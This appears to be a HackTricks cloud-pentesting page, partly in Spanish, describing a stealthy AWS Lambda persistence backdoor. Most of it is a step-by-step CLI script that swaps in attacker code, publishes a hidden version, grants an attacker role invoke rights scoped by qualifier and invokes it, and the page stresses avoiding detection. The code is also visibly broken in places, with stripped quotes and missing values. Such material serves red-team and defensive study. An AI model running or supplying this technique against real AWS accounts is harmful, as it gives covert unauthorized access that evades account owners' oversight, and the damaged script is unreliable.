hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md

AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)

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Resumen

Crea una versión oculta de Lambda con la lógica del attacker y aplica una resource-based policy a esa versión específica (o alias) usando el parámetro --qualifier en lambda add-permission. Concede solo lambda:InvokeFunction sobre arn:aws:lambda:REGION:ACCT:function:FN:VERSION a un attacker principal. Las invocaciones normales mediante el nombre de la función o el alias principal no se ven afectadas, mientras que el attacker puede invocar directamente el ARN de la versión con backdoor.

Esto es más sigiloso que exponer un Function URL y no cambia el alias de tráfico principal.

Required Permissions (attacker)

• lambda:UpdateFunctionCode, lambda:UpdateFunctionConfiguration, lambda:PublishVersion, lambda:GetFunctionConfiguration
• lambda:AddPermission (to add version-scoped resource policy)
• iam:CreateRole, iam:PutRolePolicy, iam:GetRole, sts:AssumeRole (to simulate an attacker principal)

Pasos de ataque (CLI)

Publicar versión oculta, añadir permiso limitado por qualifier, invocar como attacker

```bash # Vars REGION=us-east-1 TARGET_FN=

[Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version

aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version --region "$REGION"

1) Build a small backdoor handler and publish as a new version

cat > bdoor.py <<PY import json, os, boto3

def lambda_handler(e, c): ident = boto3.client(sts).get_caller_identity() return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}} PY zip bdoor.zip bdoor.py aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text) VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text) echo "Published version: $VER ($VER_ARN)"

2) Create an attacker principal and allow only version invocation (same-account simulation)

ATTACK_ROLE_NAME=ht-version-invoker aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null cat > /tmp/invoke-policy.json <<POL { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Action": ["lambda:InvokeFunction"], "Resource": ["$VER_ARN"] }] } POL aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json

Add resource-based policy scoped to the version (Qualifier)

aws lambda add-permission
--function-name "$TARGET_FN"
--qualifier "$VER"
--statement-id ht-version-backdoor
--action lambda:InvokeFunction
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
--region $REGION

3) Assume the attacker role and invoke only the qualified version

ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json) export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId) export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey) export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken) aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null cat /tmp/ver-out.json

4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role

aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true

</details>

## Impacto

- Concede una puerta trasera encubierta para invocar una versión oculta de la función sin modificar el alias principal ni exponer una Function URL.
- Limita la exposición únicamente a la versión/alias especificada mediante la resource-based policy `Qualifier`, reduciendo la superficie de detección mientras mantiene una invocación fiable para el attacker principal.

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